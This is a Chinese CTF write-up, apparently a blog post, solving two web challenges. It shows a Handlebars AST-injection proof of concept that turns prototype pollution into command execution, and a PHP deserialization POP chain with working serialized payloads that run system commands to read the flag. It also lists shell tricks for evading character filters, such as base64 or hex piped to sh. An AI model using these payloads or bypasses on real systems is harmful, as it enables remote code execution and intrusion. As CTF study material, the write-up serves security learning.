Web
meow_blog
pull 大头师傅的镜像
docker pull ccr.ccs.tencentyun.com/lxxxin/public:xsb2023_meow_blog
然后启动
docker run -it -d -p 12345:5000 -e FLAG=flag{8382843b-d3e8-72fc-6625-ba5269953b23} ccr.ccs.tencentyun.com/lxxxin/public:xsb2023_meow_blog
但是在测试的过程中,出现了sql的错误

于是自己起一个环境

发现还是有问题,遂在windows上起了一个服务,这里非常感谢Jasper师傅的热心提点。
在本地修改文件后


将服务起起来。

发现注册成功。然后跟进一下漏洞。
先测一下Jasper的poc
// handlebars AST注入 实现由原型链污染到RCE
const Handlebars = require('handlebars');
Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('calc.exe').toString())"
}],
"loc": {
"start": 0
}
}];
var source = "<h1>It works!</h1>";
var template = Handlebars.compile(source);
console.log(template({}));

能通,说明漏洞存在。
然后本地跑通poc

Handlebars AST注入
参考链接
https://tyaoo.github.io/2021/09/25/Handlebars-AST注入/
PHP_unserialize_pro
源码如下:
<?php
// 关闭错误报告,隐藏细节
error_reporting(0);
class Welcome{
public $name;
public function __construct(){
$this->name = 'Wh0 4m I?'; // 构造函数设置name属性
}
public function __destruct(){
if($this->name == 'A_G00d_H4ck3r'){ // 如果name属性匹配
echo $this->arg; // 输出arg属性
}
}
}
class G00d{
public $shell;
public $cmd;
public function __invoke(){
$shell = $this->shell; // $shell和$cmd来自对象属性
$cmd = $this->cmd;
// 检查命令是否包含禁止字符
if(preg_match('/f|l|a|g|\\*|\\?/i', $cmd)){
die("U R A BAD GUY");
}
// 执行命令,存在代码执行漏洞
eval($shell($cmd));
}
}
class H4ck3r{
public $func;
public function __toString(){
$function = $this->func;
$function(); // 调用$func指向的函数
}
}
// 如果有GET参数则反序列化
if(isset($_GET['data']))
unserialize($_GET['data']);
// 否则输出PHP源码
else
highlight_file(__FILE__);
?>
源码审计一波:
先找出口函数:为eval() 然后执行eval()函数 就必须触发__invoke()魔术方法,所以我们只要令H4ck3r类里面的$func = new G00d()就可以触发了,然后调用func函数就要触发__toString()魔术方法,所以我们就要调用Welcome里面的arg令它当成G00d()函数就行 然后就是触发__destruct()条件就是要销毁一个对象 那就要创建对象 就触发了__construct()魔术方法
由此可以构造pop链
__construct->__destruct()->__toString()->__invoke()
这里记录一下学习到的关于某个字母被ban的绕过方法:
反斜线转义 cat fla\g.php
两个单引号做分隔 cat fl''ag.php
base64编码绕过 echo Y2F0IGZsYWcucGhw | base64 -d | sh
hex编码绕过 echo 63617420666c61672e706870 | xxd -r -p | bash
glob通配符 cat f[k-m]ag.php cat f[l]ag.php
?和*
cat f{k..m}ag.php
定义变量做拼接 a=g.php; cat fla$a
内联执行cat
echo 666c61672e706870 | xxd -r -p或 cat $(echo 666c61672e706870 | xxd -r -p) 或 echo 666c61672e706870 | xxd -r -p | xargs cat
<?php
class Welcome{
public $name;
public $arg = 'welcome';
}
class G00d{
public $shell;
public $cmd;
}
class H4ck3r{
public $func;
}
$h = new H4ck3r();
$w = new Welcome();
$g = new G00d();
$w->name="A_G00d_H4ck3r";
$w->arg = $h;
$h->func = $g;
$g->shell="urldecode";
$g->cmd = "system(\$_POST[1]);";
echo serialize($w);
O:7:"Welcome":2:{s:4:"name";s:13:"A_G00d_H4ck3r";s:3:"arg";O:6:"H4ck3r":1:{s:4:"func";O:4:"G00d":2:{s:5:"shell";s:6:"system";s:3:"cmd";s:22:"more /[b-z]1[@-z][b-z]";}}}
这里使用通配符进行过滤,在网上还发现了一些比较好的绕过方式
O:7:"Welcome":2:{s:4:"name";s:13:"A_G00d_H4ck3r";s:3:"arg";O:6:"H4ck3r":1:{s:4:"func";O:4:"G00d":2:{s:5:"shell";s:6:"system";s:3:"cmd";s:60:"cd /;more `php -r "echo chr(102).chr(49).chr(97).chr(103);"`";}}}
- cd命令,cd到根目录下
- more命令与cat相似,以页的方式查看文件内容
- ``反引号绕过正则过滤
- php输出的字符串作为PHP代码执行
- echo输出命令
- chr()转换为字符

由此来复习一下反序列化中的POP
魔术方法
| 方法 | 触发条件 | 参数 | 返回值 | |
|---|---|---|---|---|
| __construct | 实例化对象 | |||
| __destruct | 反序列化之后 销毁之后 | |||
| __sleep | 序列化之前 | 需要被序列化的成员属性 | ||
| __wakeup | 反序列化之前 | |||
| __toString | 把对象当成字符串使用 | |||
| __invoke | 把对象当成函数调用 | |||
| __clone | 当使用clone关键字拷贝完一个对象 | |||
| __call | 调用不存在的方法 | \(arg1,\)arg2 | 不存在的方法名称&参数 | |
| __callStatic | 静态调用不存在的方法 | \(arg1,\)arg2 | 不存在的方法名称&参数 | |
| __get | 调用成员属性不存在 | $arg1 | 不存在的成员属性名称 | |
| __set | 给不存在的成员属性赋值 | \(arg1,\)arg2 | 不存在的成员名称&值 | |
| __isset | 对不可访问属性使用isset()或empty | $arg1 | 不存在的成员属性名称 | |
| __unset | 对不可访问属性使用unset() | $arg1 | 不存在的成员属性名称 |
__wakeup()函数漏洞绕过原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行
- 反序列化的常见起点:
__wakeup一定会调用
__destruct一定会调用
__toString当一个对象被反序列化后又被当做字符串使用
- 反序列化的常见中间跳板:
__toString当一个对象被当做字符串使用__get读取不可访问或不存在属性时被调用__set当给不可访问或不存在属性赋值时被调用__isset对不可访问或不存在的属性调用isset()或empty()时被调用。形如 \(this->\)func();
- 反序列化的常见终点:
__call调用不可访问或不存在的方法时被调用call_user_func一般php代码执行都会选择这里call_user_func_array一般php代码执行都会选择这里
参考链接